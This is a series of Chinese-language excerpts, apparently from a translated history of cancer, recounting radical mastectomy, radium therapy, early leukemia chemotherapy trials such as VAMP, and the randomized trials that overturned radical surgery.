　　18 世纪的德国医生洛伦茨·海斯特（Lorenz Heister）曾经这样描述自己诊所里实施的乳房切除术，那好像是一种牺牲献祭的仪式一样：“许多女性能够鼓起巨大的勇气来接受这种手术，甚至不会发出呻吟。但是另一些女性则惨叫不止，最无畏的医生也会闻之丧胆，从而阻碍手术的继续进行。为了执行这种手术，外科医生要性格坚定，不被患者的惨叫所惊扰。”　　

　　维萨里对这些盲目的解剖研究感到心灰意冷，于是他决定绘制自己的“解剖学地图”。他需要有自己的标本，因此开始搜寻巴黎附近的墓地，寻找骨头和尸体。在蒙福孔（Montfaucon），他发现了巴黎最大规模的绞刑场，经常会有一些死囚的尸体悬挂在那里的绞刑架上。几英里之外，是无辜者公墓（Cemetery of theInnocents），受大瘟疫感染的死难者的尸骸就半埋于此，已经腐烂到了骨头。　　

　　绞刑场和墓地是中世纪解剖学家的“便利店”，为维萨里提供了一具又一具的标本。他一次又一次地到这里“劫掠”，经常一天去两次，从锁链上割下标本，偷运回自己的解剖室。就在这种骇人的亡魂世界中，解剖学反而在他面前活跃了起来。1538 年，维萨里同提香（Titian）画室的一位艺术家合作，推出了他精心编制的画板和著作——详尽绘制了动脉和静脉的路线图，以及神经和淋巴结的位置。在某些画板上，他掀开组织层，暴露出其下精细的外科平面。在另一幅绘图中，他从横剖面的角度切开大脑，以展示延髓池和脑室之间的关系。这相当于一种人工的 CT 扫描，但却早于 CT 机问世几百年。　　

　　“autopsy”（尸检）一词，来源于希腊语的“亲眼看见”　　

　　亨特是一位完美的解剖学家，但他的手术理念远远领先于他的双手。他精力充沛，行事勇往直前，每晚只睡四个小时。为了不断地练习手术技巧，不放过动物王国每一个角落里的尸体——包括猴子、鲨鱼、海象、野鸡、熊和鸭子。但面对活生生的患者，他发现自己寸步难行。即使他把病人用酒精和鸦片迷倒后，以极快的速度进行手术，但是手术对象从冰冷不流血的尸体一跃至活人身上后，仍充满了危险。病人需要面对的不仅仅是手术中的痛楚，还有手术后被感染的威胁。那些在手术台上经历了可怕的磨难而幸存下来的患者，往往不久之后还会在自己的床箦之上更悲惨地死去。　　

　　在邻镇的卡莱尔，李斯特曾观察到污水处理厂用一种味道芳香、含有石炭酸的廉价液体来净化污水。于是李斯特开始把石炭酸糊料敷到术后伤口上（在他看来，运用污水净化剂处理病人的伤口，没什么可大惊小怪的）。　　

　　到 20 世纪初，许多原位限制性癌症（即无转移灶的原发肿瘤）可以通过手术切除。这些癌症包括子宫癌和卵巢癌、乳腺癌和前列腺癌、结肠癌和肺癌。如果在这些肿瘤侵入其他器官之前，就施行手术摘除，那么就能治愈相当大一部分的病人。　　

　　那位赞美这个场合，　　

　　可以让他阐明深奥事物的教授，　　

　　靠近我，愉悦地指导——　　

　　“切除那个乳房。”　　

　　“抱歉，”我悲伤地说， 　　

　　“但我已忘了如何手术。”　　

　　——鲁道夫·费古奥尔勒 （Rodolfo Figuoeroa）《诗人医生》（Poet Physicians）　　

　　结束了：她穿上衣服，优雅而轻柔地走下桌台，寻找詹姆斯；然后她转向那位外科医生和他的学生们，屈膝行礼——并低声而清晰地请求，如果她有不当的举止，请他们原谅。我们这些学生，全都像孩子一样哭泣着；外科医生把她搀扶起来。　　

　　——约翰·布朗（John Brown）描述 19 世纪的一次乳房切除手术　　

　　1852 年，霍尔斯特德出生于一位富裕的纽约服装商人家庭。从安多佛（Andover）的菲利普斯高中（Phillips Academy）毕业后，他考入耶鲁学院（Yale College）。在大学，吸引任课教师和导师关注的，是他的运动能力，而非学术成绩。他之所以进入外科领域，根本就是一种巧合。进入医学院，并不是因为他非常想做一名外科医生，而是因为他无法想象自己继承父业去做一名商人。1874 年，他被哥伦比亚大学医学院（College ofPhysicians and Surgeons at Columbia）录取后，立即迷上了解剖学。这一兴趣就像他日后许多其他的兴趣一样（包括纯种犬和马、上浆的桌布、亚麻衬衣、巴黎的皮鞋，还有完美的手术缝合），很快就成为一种令他迷醉的追求。他大口咀嚼着整本解剖学课本上的知识，书本读完，他就将自己近乎贪婪的求知欲投向真实的病人。　　

　　但是霍尔斯特德显然鄙视“妇人之仁”手术方式的，他的手术并未止步于胸大肌。癌症在他的根治性乳房切除术下仍然复发，于是他将切除部位深入到了胸腔。到了 1898 年，霍尔斯特德的乳房切除术开始了他所声称的“一个更根治性的”转变——这时，他开始切除锁骨，直达其下方的一小簇淋巴结。他在一次外科会议上宣布，“我们几乎无一例外地清除了锁骨下窝”，并且强调保守的非根治性手术处理乳腺癌是“切不干净的”。　　

　　一场恐怖的“马拉松”就此展开。霍尔斯特德和他的学生们，宁愿切除身体的整个组织，也不愿面对癌症的复发。在欧洲，一名外科医生为一名患乳腺癌的妇女切除了三根肋骨和胸腔内的其他组织，并截去了一侧的肩膀和锁骨。　　

　　霍尔斯特德承认自己的手术是一种“肉刑”，乳房切除术牵连甚广，永久地损毁了病人的形体。　　

　　格雷厄姆也保留了霍氏手术的基本精神：仔细地切除整个器官以及肿瘤周边的大片组织，以防止局部复发。但是他尽力回避一些陷阱，抵抗住诱惑不去切除更多的其他组织，如遍布胸腔、主血管的淋巴结，或是气管和食道周围的连接筋膜，而只切除了癌变的肺部，尽可能地保持病体的完整。　　

　　DNA 是惰性分子，能够抵抗大多数化学反应，这一特点使它可保持遗传信息的稳定性。但 X 射线可以直接击碎 DNA 链，或产生化学毒素进而侵蚀 DNA。面对这样的破坏，细胞通常会死亡，或者更常见的是中断分裂。因此，X 射线优先杀灭体内分裂最旺盛的细胞，如皮肤、指甲、牙龈、血液这类组织细胞。　　

　　医学界在一阵狂热中，召开了各种关于高剂量放射疗法的会议、成立各种学会。为了使原位病灶获得更高剂量的 X 射线辐射，镭被灌入金线，直接置入肿瘤内部。外科医生将氡片植入患者腹部治疗腹内肿瘤。到了 20 世纪三四十年代，美国出现了全国性的镭生产过剩，以至于各类期刊的尾页上都登有镭的广告，希望出售给一般人使用。与此同时，真空管技术也齐头并进。至 50 年代中期，形形色色的射线管可以向所有的癌组织投放高剂量的 X 辐射。　　

　　在 20 世纪 10 年代居里夫妇发现镭后不久，新泽西州一家名为“美国镭”（U.S.Radium）的公司，将镭与涂料混合制成了一种叫“昂达克”（Undark）的夜明涂料产品，它在夜晚可以散发出带绿色的白光。虽然知道镭有多种副作用，美国镭公司还是促销其昂达克用于钟表的表盘，夸耀其为夜光表。绘制表盘是一种精密的手工技术活儿，因此从业员工一般都是双手灵巧稳健的年轻姑娘。她们被鼓励在无防护的情况下使用这种夜明涂料，并且经常用舌头舔笔尖，以确保能在表盘上画出精细的刻度。　　

　　楼上干净整洁的候诊室里摆放着旋转木马和一箱箱玩具；一辆电动火车玩具在石头山峰中，沿着轨道突突前行；在假山的山面上，镶嵌着一台电视。1952 年，《时代》杂志在一篇报道中说：“如果一个小女孩喜欢上一个布娃娃，她就可以拿走它；反正洋娃娃多得是。”图书馆里除了几百册书外，还装了三匹摇摆木马、两辆脚踏车。周边医院的走廊中通常悬挂的是已故教授的画像，鬼影幢幢；而这里的走廊却大不一样，法伯委托一位艺术家画上真人大小的童话人物——白雪公主、匹诺曹、小蟋蟀，在“癌症世界”里融入了“童话世界”。　　

　　20 世纪 20 年代，英国数学家奥利弗·海维塞德（Oliver Heaviside）曾以玩笑的口吻写了一个故事，描写一位科学家在餐桌上沉思：“我是否应该因为不了解消化系统而拒绝吃饭呢？”对于海维塞德的这个问题，法伯可以加上自己的问题：我该因为尚未解决基本的细胞机理问题，就拒绝抗击癌症吗？　　

　　一位血液学家回忆：“她血流得太快了，我们认为必须把她流出的血输回她自己的身体里去。因此，医生们手忙脚乱地用管子收集她流出的血，然后把这些血输回去，就像内部循环的抽水机一样。”（这一解决办法带着国家癌症研究所的典型特征。把一个人肿瘤中流出的血输回给她自己的办法，在任何其他地方，都会被认为是不正常的，甚至是令人生厌的。但在国家癌症研究所，这种方法，或者任何方法，都可以是标准做法。　　

　　然而他的故事有一个最终的转折点。正如李敏求所预见，通过多加的几剂氨甲喋呤，曾顽固地在低位徘徊的激素水平，最终确实减少至零。他的病人完成了他们增加的额外化疗。随后，一种现象慢慢地显现出来。过早停药的病人不可避免地复发了癌症，而用李敏求方案治疗的病人，没有复发，即使停用氨甲喋呤几个月后，也没有复发。　　

　　李敏求无意中发现了一个深刻但基础的肿瘤学原理——癌症治疗必须在每一种可见迹象都消失后，仍然继续保持系统的治疗。hcg 水平——绒毛癌分泌的激素，才是它真正的指纹、真正的标记。此后几十年，越来越多的试验验证了这个原理。但是在 1960 年，肿瘤学界还没有准备好接受这项提案。直到几年以后，人们发现李敏求用增加化疗次数治愈的病人再也没有复发，这才震惊了之前草率开除他的委员会。李敏求以自己的职业为代价，催生了第一例成人被化学疗法治愈的案例。　　

　　两种药就已经产生了数十种可能；如今面对四种药，白血病联盟可能不只要用 50 年，而是要用 150 年，才能完成试验了！国家癌症研究所的新雇员大卫·南森（David Nathan）回忆当时因为新药的大量涌现令工作几乎停滞不前的情况时说：“弗雷和弗雷瑞克只是把能拿到的药组合起来而已……四五种药物的可能组合、剂量和给药方案是无穷的。研究人员要花很长时间来寻找药物的正确组合和给药方案。”朱布罗德这种连续、系统、客观的试验陷入僵局。现在需要的是与系统方法完全相反的方法，那就是凭直觉和灵感在致命药物的深渊上飞跃。　　

　　他们下一个将要尝试的疗法，是所有四种药物的组合——长春新碱、甲氨蝶呤、6-巯基嘌呤和强的松。这种疗法将以新的首字母缩略词的方式出现，取每种药的第一个字母组成新药的名字“VAMP”。②　　

　　这个名字有许多刻意或者无意的共鸣。“Vamp”一词的意思是“临时凑成或修补，把一些随时可能瓦解的零碎东西铺设在一起”；它可以指代那种“勾引男人的女人”——一个给出承诺，但从不践行的人；它还指靴子的鞋尖，踢东西的时候承受主要冲击力的部分。 　　

　　②VAMP 分别为 vincristine（长春新碱），amethopterin（氨甲喋呤），mercaptopurine（6-巯基嘌呤），和 prednisone（强的松）。　　

　　1961 年，VAMP 试验终于启动了。几乎从一开始，试验似乎就酿成大错，而且正是朱布罗德一直尽力避免的那种噩梦。　　

　　弗雷瑞克记得，第一批接受治疗的患儿“已经病入膏肓。我们开始 VAMP 试验，到第一周结束，他们中许多人的情况比原来还要糟糕。这真是一场灾难”。四种药的化疗组合在身体里肆虐，消灭了正常的细胞。一些患儿几乎陷入昏迷，一直戴着呼吸机。弗雷瑞克拼命地想要救这些孩子，一遍遍去病床边探视他们。他写道：“你可以想象那种压力。我几乎可以听见人们在说：‘我告诉过你，这个孩子会死。’”他在病房里走来走去，缠着医务人员不停地问问题、做医嘱。他本能中的父爱被唤醒了：“他们是我的孩子。我真的是在努力照顾他们。”　　

　　整个国家癌症研究所都在紧张地关注这次试验——国家癌症研究所的命运也悬在这根线上。弗雷瑞克写道：“我几乎无能为力。也许我能让他们舒服点，给他们一点阿司匹林，给他们降降体温，帮他们盖一条毛毯。” 国家癌症研究所的医生们，被丢在癌症医学动荡的前线，周旋于毒性最强、最有未来的药物组合之中，他们重拾最古老的原则，去安慰病人，给病人补充营养，全心全意地看护和鼓励病人，甚至帮他们抖松枕头。　　

　　难熬的三周过后，弗雷瑞克的几位病人奇迹般地渡过了难关。而且，出乎意料的是，在令人不忍目睹的状况下，回报终于出现了——正常的骨髓细胞开始逐渐复原，而白血病症开始减轻。骨髓活检的结果陆陆续续地出来了，全都没有白血病细胞。红细胞、白细胞和血小板开始在曾经的骨髓坏死区快速增殖。而且白血病没有复发。几周之后，另一套活体组织检查确认了结果。显微镜里一个白血病细胞都看不到了。在一次几乎完全的毁伤之后，病情出现了如此彻底的缓解，这超出了国家癌症研究所所有人的预料。　　

　　几周后，国家癌症研究所团队鼓起足够的勇气，尝试在另一小群病人中进行 VAMP 试验。奇迹重现。在灾难性的计数下降之后，骨髓复原，白血病消失了。一位研究员回忆道：“就像脚踝拴着绳子由悬崖坠落一样。”几天后，骨髓开始再生，弗雷瑞克心怀忐忑地进行了一次活检来观察细胞。白血病再一次消失了。留下来的，是满满的希望：正常如鹅卵石般的血细胞，开始重新在骨髓里生长。　　

　　到了 1962 年，弗雷和弗雷瑞克已经用几种剂量的 VAMP 治疗了六位病人。病情的缓解效果可靠而且持久。现在，临床中心到处是戴着假发、围着围巾的患儿的欢声笑语，他们经历了两个或三个化疗期，活了下来——这是白血病史上醒目的特例。评论家开始转变立场。国内的其他临床中心加入了弗雷和弗雷瑞克的试验计划。1964 年，一位波士顿血液学家在治疗一位 11 岁女童时写道，病人“奇迹般地康复了”。震惊慢慢变成了轻松的心情。就连威廉姆·戴姆谢克（William Dameshek），这位毕业于哈佛的固执的血液学家，同时也是 VAMP 项目开始时最大的反对者，也写道：“儿科肿瘤学家的心情一夜之间就从‘同情性的宿命论’转变为‘进取性的乐观心态’。”　　

　　这种乐观是强烈的，也是短暂的。1963 年 9 月，就在弗雷和弗雷瑞克从庆祝 VAMP 获得空前成功的庆功大会上回来不久，几名病情好转的儿童又一次回到诊所，他们身上都有一些小症状出现：头痛、癫痫、面部神经时常刺痛。　　

　　一位血液学家回忆：“一开始，有些医师没太在意。我们猜测，症状会消失。”但是，对人体内白血病细胞扩散问题有近十年研究经验的弗雷瑞克知道，这些头痛可能不会消失。到了 10 月，更多的患儿回到诊所，这次他们的症状是麻木、刺痛、头痛、癫痫还有面部瘫痪。弗雷和弗雷瑞克都开始紧张起来。　　

　　19 世纪 80 年代，魏尔啸曾观察到白血病细胞偶尔能侵入大脑。为了研究大脑被癌细胞入侵的可能性，弗雷和弗雷瑞克通过脊髓穿刺直接观察脊髓液，这种方法要用一根细直的针，从椎管中抽取几毫升液体。脊髓液是一种透明液体，与大脑直接连通循环，可以代替检查大脑。　　

　　在科学的传说中，人们经常用心跳加快、异样的光辉来描述“科学大发现时刻”那激动人心、摒心静气的一秒，观察结果突然清澄透明，汇聚成一种新的形态，如同万花筒里的碎片，猝然成型。苹果从树上落下砸中了牛顿，也砸出了万有引力定律。阿基米德从浴缸里一跃而起，配平了方程式，导出了浮力定律。　　

　　但是，很少有记录记载另一种负面的、有关失败的“发现时刻”。它往往是科学家独自面对的时刻——患者的 CT 扫描显示，淋巴瘤复发了；曾被药物杀死的细胞又开始复生；一名患儿带着头痛回到了国家癌症研究所。　　

　　弗雷和弗雷瑞克在脊髓液中的发现，令他们身心俱寒。脊髓液内，白血病细胞正爆发般地生长，几百上千万细胞占据着大脑。头痛和麻木，只不过是更大毁灭来临之前的预兆。在接下来的几个月，所有患儿一个又一个带着程度不一的神经性病状（头痛、刺痛、散斑）回到了研究所，然后陷入昏迷。骨髓活检很干净；体内未发现癌症。但是，白血病细胞侵入神经系统，导致出人预料的快速死亡。　　

　　我曾说过那些孩子都因癌症复发死亡了，其实这并不准确。少数几个孩子，由于某种神奇的原因，在他们的中枢神经系统中并没有复发白血病。在国家癌症研究所和少数其他几家敢于尝试 VAMP 的医院里，大概 5% 的受治患儿完成了一年的治疗。他们不仅是数周或几个月没有复发，而是很多年都未复发。他们一年又一年地回来复查，紧张地坐在全美各地试验中心的候诊室里；他们的嗓音越来越深沉；他们的头发也长回来了；他们进行一次又一次的活组织检查；没有任何癌症的迹象。　　

　　1964 年 6 月，国家癌症研究所开始使用 VAMP 疗法大约 18 个月的时候，艾拉被诊出患有白血病，她当时 11 岁。在被确诊前的那些照片中，她留着刘海，戴着牙套，一幅典型的青春期小女孩的模样。六个月后（化疗开始后）的照片上，她变成了秃头，由于贫血而脸色惨白，体重严重减轻，瘫坐在轮椅上，无法行走。　　

　　艾拉接受了 VAMP 治疗。（她在波士顿的肿瘤医生听说国家癌症研究所的惊人成果，在并未实验的情况下，相当大胆地选择使用四种药的组合试剂进行治疗。）治疗一开始像是一场灾难，高剂量的长春新碱极其严重地损害了旁支神经，她的腿和手指永远留下了被灼烧的感觉，强的松使她精神错乱。这名意志坚强、精神狂乱的小女孩，只能在医院的走廊里游荡，晚上尖叫哀嚎，护士只好用绳子把她绑在床柱上。她被控制在床上，经常蜷缩得像个胎儿那样，肌肉日渐消瘦，神经日益恶化。12 岁那年，她开始对镇痛用的吗啡上瘾。（她说，她以自己的坚定意志，通过“在戒毒的肌痉挛中不断坚持”，实现了自我“戒毒”。）在那可怕的几个月里，在苦苦等待下一次吗啡的时候她狠咬自己，直到现在她的下嘴唇还有淤青。　　

　　但很明显，她记得的最重要的事是死里逃生的感觉。她把那些记录收回文件袋里，告诉我说：“我觉得自己好像是漏网之鱼。”她移开了视线，好像在看一只想象中的苍蝇，我看见她眼中噙满了泪水。她曾在医院病房见过的其他几个白血病患儿，没有一个幸存下来。”首先，我不知道为什么会得这个病，之后，我不知道为什么会被治愈。白血病就是那样。它令你困惑，它改变你的人生。”我的脑子里瞬间闪过科里巴亚木乃伊、阿托莎还有霍尔斯特德的年轻妇女等候乳房切除术的画面。　　

　　那天早上我的病人是一位 76 岁的妇女，叫作比阿特丽斯·索伦森（Beatrice Sorenson）。她喜欢别人叫她碧（Bea），总让我想起在自然史教科书上读到的那些能承担自身十倍体重的负载或跳跃到自身五倍高度的小昆虫或小动物。她小得不可思议：体重大约 29 公斤，身高 135 厘米左右，骨架精细，容貌好似小鸟，整体看起来像是冬天的一根小树枝。然而，与她娇小的外形不同，她个性坚强，轻盈的身体与强悍的灵魂互相平衡。她曾参加过海军，在两次战争中服役。即使我在高高的检验台上，面对她依然感到敬畏与谦卑，好像她在精神上俯视着我。　　

　　分别在两个上午，我们看到了两个肿块。这是两种截然不同的癌症化身：一种几乎肯定能治愈，而另一种必然走向死亡。在希波克拉底天真地创造了包罗万象的术语“karkinos”近 2 500 年之后，现代肿瘤学对癌症的分类并没有进步多少。尔曼的淋巴瘤和索伦森的胰腺癌，当然都属于“癌症”，都是细胞的恶性增殖。但这两种病的病程轨迹和“人格”实在是大相径庭。即使用同一个名字“癌症”来称呼它们，都感觉像是犯了某种医学上的时代错误，就好比在中世纪，人们习惯使用“apoplexy”形容任何形式的中风、出血或癫痫。我们像希波克拉底一样，天真地把肿胀的东西都归为肿块。　　

　　也许法伯的批评是正确的。也许淋巴母细胞白血病，最多只能暂时缓解，但永远不能治愈。也许最终，保守疗法才是最佳选择。　　

　　但是，许多肿瘤学家已经尝到了高剂量化疗的成功滋味，他们无法压抑自己的乐观情绪：万一是 VAMP 的强度还不够呢？如果化疗能够更进一步增强、更接近容忍极限呢？　　

　　克尔及其小组是如何在孟菲斯说服四到六岁的孩子完成这个治疗程序的，我们不得而知。但是他做到了。1968 年 7 月，圣犹大小组发表了最早的完全疗法的迭代治疗结果的初始数据。（平克尔小组在 1968 年至 1979 年间连续进行了 8 次试验，每次都对疗法做出了修改。）这次早期的试验，不过是一家医院对单组病人小型的非随机性尝试。但是忽略所有这些附加说明，结果仍是令人振奋的。孟菲斯小组总共治疗了 31 位患者。他们中 27 名得到了完全缓解。复发中位时间（即在确诊与复发之间的时间，用于衡量疗效）延长到近 5 年，这是大多数法伯最早期患者最长缓解期的 20 倍。　　

　　但最重要的是，有 13 位病人（大约是原有病人的三分之一），再也没有复发过。他们停止化疗后，仍然活了下来。孩子们月复一月地回诊所复查。最长的缓解时间已经到了六年，是那个孩子生命的一半。　　

　　1979 年，平克尔小组重访了用全面疗法医治了几年的整组患者。在八次相继的试验中，总共有 278 名患者完成疗程，停止了化疗。其中，约 1/5 的人复发了。任何人都能看出来，剩下的八成患者，在化疗后仍未复发，也就是说“治愈了”。平克尔在一篇评论文章中写道：“儿童急性淋巴性白血病，不能再被认为是不可治愈的了。我们不能再接受以缓解为目标的治疗方案。”　　

　　当然，他是在写给未来，但在一种更神秘的意味上，他也是在写给过去，写给那些曾深深怀疑白血病治疗，以及曾与法伯争论要让这些孩子“在平静中死去”的那些人。　　

　　50 年代，在冷战的困境之中，美国人全神贯注于来自外部毁灭的恐惧：原子弹和核弹头、水库中的毒水、共产主义军队，还有来自外太空的入侵者。　　

　　这一呼吁迎来了雪片似的邮件，甚至令兰德斯和拉斯克都感到震惊。记者芭芭拉·沃尔特斯（Barbara Walters）回忆道：“我看见一辆接一辆的卡车驶进参议院。”运来整袋整袋的信件，总共大约有 100 万封，把参议院的收发室都快压塌了。一位参议员说他收到了六万封信。一名负责分拣邮件的秘书恼羞成怒的在办公桌上挂了一块牌子：弹劾安·兰德斯。　　

　　1973 年 3 月 30 日傍晚，表示最高急救的电子鸣叫声响彻了吉米基金大厦，它穿透了儿童诊所的大门，掠过墙壁上的卡通肖像和躺在白色床单上正在输液的孩子们，直通法伯曾经实习过的布里格姆妇女医院。在某种意义上，这急救铃声回顾了法伯先生的人生轨迹。　　

　　一群医生护士身着手术服跑向楼梯。路程比平时长了一点，因为他们此行的目的地是医院的顶层，八楼。在有着高大通风窗的房间里，他们发现法伯脸朝下趴在桌子上，已死于心脏骤停。在临终前的几个小时，法伯还在讨论吉米基金的未来和抗癌战争的方向。他的论文整齐地排列在周围的书架上，从他论述尸检的第一本书到最近发表的一篇关于白血病治疗进展的文章。巧的是，文章这周才刚刚送到他的手里——这周刚刚到达。　　

　　唁电从世界各地如雪片般飞来。玛丽·拉斯克的唁电可能是最简洁、最衷心的，因为她失去的不只是一位朋友也是自己的一部分。她写道，“绝对的，世界永远不一样了。”　　

　　期望落空，总在众望所归之处；　　

　　期望常现，总在心灰意冷之时。　　

　　——威廉·莎士比亚《终成眷属》　　

　　（All's Well That Ends Well）　　

　　在科学界，意识形态导致腐败；绝对的意识形态，导致绝对的腐败。　　

　　——罗伯特·奈斯比特（Robert Nisbet）　　

　　外科的正统主义，正像其他思想领域的正统主义一样……已经几乎可以同一种宗教相提并论。　　

　　——杰弗里·凯恩斯（Geoffrey Keynes）　　

　　你的意思是，我的乳房白切了？　　

　　——罗斯·库什纳（Rose Kushner）　　

　　甚至对于病人来说，这种狂热积极也是一种治疗的形式。妇女们用仰慕和敬畏的口吻写信给她们的医生，恳求他们不要吝惜外科根除术，仿佛外科手术是一种能使她们摆脱癌症、恢复健康的神秘仪式。哈根森由一位外科医生变成了一位萨满巫师，他这样描述他的病人，“毫无疑问，她们在某种程度上，将（疾病的）负担转移到了我的身上”。另一位医生则用一种冷淡的口吻写道，有时他“做乳腺癌手术，仅仅是因为它能提振病人的士气”。他私下还说：“我始终相信，未来的某一天，肿瘤终将被治愈，但我认为这个神圣目标绝不可能通过医生的手术刀达成。”　　

　　1924 年 8 月，凯恩斯检查了一位 47 岁的乳腺癌患者，她身形消瘦，体质虚弱，乳腺中有溃疡性恶性肿块。如果是在巴尔的摩或者纽约的话，这种病人会被立即实施激进的手术。但是，凯恩斯注意到这位患者的虚弱体质，所以并没有不加区别地采取激进疗法（激进疗法很可能让她命丧手术台），而是采取了一种相对更加保守的策略。凯恩斯注意到一些放疗师，如艾米尔，已经证实 X 射线在治疗乳腺癌方面的有效性，于是他在这名患者的乳房里置入了 50 毫克的镭，以照射肿瘤并监测治疗效果，希望能减轻她的症状。令他惊讶的是，病人有了明显的改善。他写道，“溃疡很快被治愈了，肿块变小、变软，也不那么顽固了。”她的肿块消退得很快，凯恩斯觉得自己也许可以采用较小的非根治性外科手术来彻底去除肿瘤。　　

　　在这次成功的鼓舞下，1924 年至 1928 年间，凯恩斯用同样的策略尝试了多种不同方案，他发现，最成功的那些方案都是由一系列小手术和小剂量的放射治疗谨慎组合的结果。他用较小的手术就能去除病灶处的恶性肿块（而不用借助根治性或超级根治性的外科手术），因此他采用了这种外科手术与放射治疗相结合的方法来治疗乳腺癌。这样就不用剥离淋巴结，也不用切断或凿开锁骨，不需要长达六到八小时的切除手术。在积累了许多病例之后，凯恩斯和他的同事们发现，在这个过程中没有用到激进的手段，癌症复发率虽然不比采用纽约或巴尔的摩的治疗策略低，但至少是可堪比较的，因为病人无须忍受残忍可怕的根治性外科手术的折磨。　　

　　直到 20 世纪 30 年代，临床试验的设计一般只能证明“正”结果，即疗法 A 优于疗法 B，或者药物 X 优于药物 Y。但要证明一个“负”结果——根治性手术疗法并不优于传统手术疗法，则需要一套新的统计衡量方法。　　

　　1928 年，凯恩斯开始实践他的肿瘤切除术四年后，两位统计学家耶日·奈曼（Jerzy Neyman）和埃贡·皮尔逊（Egon Pearson）提出了一个系统性的方法，来评估一个否定的统计论断。为了衡量一个否定论断的可信程度，奈曼和皮尔逊援引了一个统计学概念——“效能”。效能”简而言之，是衡量某个测试或试验否定一个假设的能力。奈曼和皮尔逊很直观地推导出，一位科学家否定一个假说的能力很大程度上取决于他检验这个假说的次数。也就是说，取决于他独立检测了多少样本。如果仅比较 5 例根治性乳房切除术和 5 例传统乳房切除术，发现它们之间的结果没有差别，我们很难就此结果得出有意义的结论。但如果 1 000 个案例都呈现出相似的结果，那么我们就能坚定地做出判断：前者并不能使病人获得更多益处。　　

　　然而，在这种相关性的内部，却深藏着医学上最古怪的陷阱。对于任何试验来说，如果要得到充分的“统计假设的概率”来判定试验是否成功，就必须积累足够多的病人。要找到足够多的病人，试验者就要说服医生参与，但这些医生通常就是那些最不希望某个理论被推翻或驳倒的人。而对于乳腺癌这个深陷于根除性疗法传统中的疾病科来说，矛盾更为突出。比如，在没有像哈根森和厄本这样无限崇尚医德的医生的准许和参与下，任何关于乳腺癌的试验都无法进行。而这些陶醉于霍尔斯特德知识体系中的医生，是最不可能支持一项可能挑战他们热情拥护了几十年理论的试验的。当批评者质疑哈根森是否通过选择他最好的案例来偏袒评估结果的时候，哈根森挑战那些医生用他们自己的方法复制令人震惊的成功：“你们自己去试试看。”　　

　　四年以后，NSABP 建议用系统性的随机试验来检验根治性手术。恰巧那一年是霍尔斯特德提出根治性乳房切除术的 80 周年。对这一抗癌理论绝对的、近乎虔诚的信仰，最终还是要接受检验。“临床医师，不管多么受到尊重，都必须接受这样一个事实：经验，不管多么丰富，都无法被当作科学效力的指标。”费舍尔在一篇文章中写道。他愿意相信神的智慧，但霍尔斯特德理论并不是神的智慧。他直率地对一个记者说，“我们相信上帝，但其他人（必须）用数据说话” 。　　

　　1981 年，试验结果终于公之于众。三个试验组的再生率、复发率、死亡率和远端迁移率在统计学上没有任何差别。接受根治性乳房切除术的那一组，付出了身体不健全的沉重代价，却没有在存活率、再生率和死亡率方面获益良多。　　

　　从 1891 年到 1981 年将近一百年的时间里，大约有 50 万妇女接受根治性乳房切除术“根除”癌症。其中许多人是自己选择的，也有许多人是被迫的，还有很多人根本就没意识到她们可以选择。许多人被永久性地毁形了；许多人视接受手术为万幸；许多人勇敢地忍受了它的折磨，希望极致的手段能彻底治愈他们。霍尔斯特德的“癌症仓库”超越了霍普金斯的局限，他的观点进入肿瘤学，渗透到它的词汇表里，进入它的心理、它的精神气质和它的自我形象。当根治性手术被证明失败的时候，整个外科手术文化也随之消融。如今根治性乳房切除术已经很罕见了。　　

　　玛格丽特·埃德森（Margaret Edson）在她的戏剧《睿智》（Wit）里，生动地描述了妇女与卵巢癌的斗争：正在接受化疗的英国教授牢牢抓住呕吐盆，痛苦地干呕着。这时她那令人难忘的旁白响起：“你们可能会认为我的词汇已经退化了。”幕后隐而不提的罪魁祸首就是顺铂。甚至在今天，那些在 80 年代早期照顾过癌症病人的肿瘤科护士还能清晰地回忆起，由于没有发明新的止吐剂，病人那种突如其来的剧烈的恶心呕吐，以及随之而来的对着地面的干呕。　　

　　这是一场规模巨大的以人为主体的试错实验，有时看起来似乎更偏重于错的一面。国家癌症研究所发起的一项试验，试图通过在治疗睾丸癌时将顺铂的剂量加倍，取得好于艾因霍恩配方的效果。然而药物毒性加倍了，疗效却没有随之增加。在另一项高强度、被称为“一日八剂”的试验中，脑瘤患儿在一天要服用八种药物。不出所料，可怕的并发症随之而来：15% 的病人需要输血，6% 的病人因严重感染而住院，14% 的儿童肾脏受到损伤，3% 丧失听力，更有一名病人死于感染性休克。然而，各类药物和剂量的不断增加仅仅加大了副作用，却没有提高疗效。一日八剂试验中的很多儿童不久后就死了，化学治疗收效甚微。　　

　　化疗师们就像疯狂的制图师一样，狂热地反复绘制他们的策略消灭癌症。他们尝试了各种各样的排列组合，重组曾成功地应用于治疗霍奇金病的 MOPP 药物组合治疗乳腺癌、肺癌和卵巢癌。越来越多的药物组合进入临床试验，越来越强的攻击性随之而来，各自顶着晦涩难懂、无从分辨的新名称。当时的国家癌症咨询委员会成员罗丝·库什纳警告人们关注医生和病人之间存在越来越严重的隔阂。她写道：“当医生说副作用是可忍受或可接受的时候，他们其实是在谈论可危及生命的东西。但就算你吐到眼睛里血管爆裂……他们也认为这不值一提。他们当然不在乎你会不会秃顶。”她讽刺地写道：“那些微笑的肿瘤学家，根本就不知道他的病人是不是在呕吐。”　　

　　哈金斯的任命反映了外科学的信心（和傲慢）：他没有受过泌尿外科的正规训练，也没有受过癌症外科手术训练。那个年代，外科专业化仍是一个游移不定的概念，如果一个人能切除阑尾或淋巴结，理论上讲，他肯定能学会如何取出一颗肾。哈金斯就这样临时抱佛脚，用大约六周的时间飞一般地学会了泌尿学。他乐观地来到芝加哥，满以为会看到病人络绎不绝的忙碌景象。没想到，他在石质的新哥特式塔楼中的新诊室整个冬天都无人拜访（外科专业的游移不定也许不能让患者放心）。哈金斯厌倦了在一个空空荡荡、四面透风的候诊室里翻看书本和杂志；于是他改变想法，成立了一个实验室，一边研究泌尿系统的疾病，一边等待患者上门。　　

　　虽然前列腺癌是极其常见的癌症类型，其临床过程也具有高度的变异性。大多数情况下，这种癌症是感觉不到痛的——老年男性通常携带前列腺癌而死，而不是死于前列腺癌。但是对某些病人来说，这种癌症可能具有侵略性和攻击性，晚期能够转移到骨头和淋巴结中，引发全身性痛楚。　　

　　对男性来说，前列腺癌的发病率足足占了所有癌症发病率的 1/3，是白血病和淋巴癌发病率相加的六倍。解剖 60 岁以上的男性尸体，几乎每三个中就有一个具有前列腺恶性肿瘤的某些症状。　　

